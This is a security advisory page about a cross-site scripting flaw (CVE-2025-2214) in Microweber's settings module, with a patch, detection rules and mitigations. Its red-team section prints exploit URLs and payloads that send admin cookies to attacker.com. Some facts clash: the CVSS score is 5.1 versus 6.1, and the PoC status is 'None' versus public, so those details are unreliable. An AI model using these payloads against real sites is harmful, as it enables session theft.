☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
Microweber logo [ WEBSITE ] [ VENDOR STATS ]
CVSS: 5.1 🐛 CWE-79
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-2214

CVE-2025-2214 Cross-Site Scripting in Microweber
📅 PUBLISHED: 2025-03-11 23:31 UTC 🔄 UPDATED: 2026-09-23 20:33 UTC
[ ZERO-DAY / UNPATCHED ] [ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.51%
👁️
0.51% probability
12.8× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1059.007
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: UNKNOWN / CHECK VENDOR
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
5.1
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-2214 is a stored cross-site scripting (XSS) vulnerability in Microweber 2.0.19, specifically within the Settings Handler component. The flaw resides in the file userfiles/modules/settings/group/website_group/index.php, where the group parameter is insufficiently sanitized, allowing an attacker to inject arbitrary JavaScript or HTML. This attack can be executed remotely without authentication, though user interaction (e.g., an admin viewing the settings page) is required for payload execution. The vendor was contacted but did not respond, leaving the vulnerability unpatched. Given the public availability of exploit details, this poses a moderate risk to Microweber deployments, especially those with exposed admin interfaces.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

Microweber is a PHP-based CMS distributed via GitHub and its own package system. No official patch or advisory has been released. Users relying on the default installation are at risk. The vulnerability does not affect upstream PHP or web server packages but is specific to the Microweber application code.

CVSS Breakdown & Threat Level

  • Attack Vector (AV): Network (N) – Exploitable remotely.
  • Attack Complexity (AC): Low (L) – No special conditions required.
  • Privileges Required (PR): None (N) – No authentication needed to inject payload.
  • User Interaction (UI): Required (R) – Victim must visit the affected settings page.
  • Scope (S): Unchanged (U) – The vulnerable component and the impacted component are the same.
  • Confidentiality (C): Low (L) – Limited data exposure via XSS.
  • Integrity (I): Low (L) – Possible to modify content within the user’s session.
  • Availability (A): None (N) – No direct impact on availability.

CVSS Score: 6.1 (Medium)
Threat Level: Moderate – Exploit code is public, but user interaction is required.

Deep Dive & Mechanics

The vulnerability exists in the userfiles/modules/settings/group/website_group/index.php file, which handles the group GET parameter. The parameter is directly reflected or stored without proper sanitization or output encoding. An attacker can craft a URL like:

http://target.com/userfiles/modules/settings/group/website_group/index.php?group=<script>alert('XSS')</script>

When an administrator accesses this URL, the injected script executes in the context of the admin’s session. This can lead to session hijacking, defacement, or redirection to malicious sites. The attack is stored if the input is persisted (e.g., in a database or configuration file), making it a stored XSS. The lack of input validation and output escaping in the PHP code is the root cause.

Vulnerable vs. Patched Code

Vulnerable Code (index.php):

<?php
$group = $_GET['group'];
echo "<div class='settings-group'>$group</div>";
?>

Patched Code (hypothetical):

<?php
$group = htmlspecialchars($_GET['group'], ENT_QUOTES, 'UTF-8');
echo "<div class='settings-group'>$group</div>";
?>

The patched version uses htmlspecialchars() to encode HTML special characters, preventing script injection. Since no official patch exists, users must apply this fix manually.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

  • A Microweber 2.0.19 instance (e.g., Docker or local install).
  • Access to the admin panel URL (e.g., http://target/admin).

Exploit Steps:

  1. Craft a malicious URL:
    http://target.com/userfiles/modules/settings/group/website_group/index.php?group=<script>fetch('http://attacker.com/steal?cookie='+document.cookie)</script>
    
  2. Send the link to an authenticated admin via phishing or social engineering.
  3. When the admin visits the link, the script executes, exfiltrating cookies to the attacker’s server.

Example Payload:

<script>new Image().src='http://attacker.com/log?c='+document.cookie;</script>

Blue Team (Defensive)

Detection:

  • Monitor web server logs for requests to /userfiles/modules/settings/group/website_group/index.php with suspicious group parameters containing <script> or onerror tags.
  • Use WAF rules to block XSS patterns in query strings.

Mitigation:

  • Apply the patched code manually (see above).
  • Restrict access to the admin panel via IP whitelisting or VPN.
  • Implement Content Security Policy (CSP) headers to block inline scripts.

Indicators of Compromise (IOCs)

  • URL Pattern: */userfiles/modules/settings/group/website_group/index.php?group=*
  • Log Entries: Requests containing group=<script> or group=javascript: in the query string.
  • Network Traffic: Outbound connections to attacker-controlled domains from the admin browser.
  • File Changes: Unauthorized modifications to userfiles/modules/settings/group/website_group/index.php or related configuration files.

Detection Engineering

YARA Rule

rule CVE_2025_2214_XSS_Microweber {
    meta:
        description = "Detects XSS attempts targeting Microweber CVE-2025-2214"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-2214"
    strings:
        $xss_payload = /group=.*<script/i
        $xss_onerror = /group=.*onerror/i
        $xss_alert = /group=.*alert\(/i
    condition:
        any of them
}

Sigma Rule

title: Microweber CVE-2025-2214 XSS Attempt
id: 8a9b3c2d-1e5f-4a7b-8c9d-0e1f2a3b4c5d
status: experimental
description: Detects XSS attempts against Microweber settings handler
author: Valters IT
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains: '/userfiles/modules/settings/group/website_group/index.php'
        cs-uri-query|contains|all:
            - 'group='
            - '<script'
    condition: selection
falsepositives:
    - Legitimate use of script tags in group names (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-2214 Microweber XSS Attempt"; flow:to_server,established; content:"GET"; http_method; content:"/userfiles/modules/settings/group/website_group/index.php"; http_uri; content:"group="; http_uri; pcre:"/group=.*<script/i"; sid:1000001; rev:1;)

Remediation & Mitigation

  1. Immediate Fix: Manually patch the vulnerable file by adding htmlspecialchars() to the $group variable as shown in the patched code section.
  2. Workaround: Disable the settings module or restrict access to the admin panel using .htaccess:
    <Files "index.php">
        Require ip 192.168.1.0/24
    </Files>
    
  3. Long-term: Monitor Microweber’s GitHub for an official patch. Consider migrating to a supported CMS if no patch is released.
  4. Detection: Deploy the provided YARA, Sigma, and Suricata rules to detect exploitation attempts.

Valters IT
Securing Digital Frontiers

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-2214/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.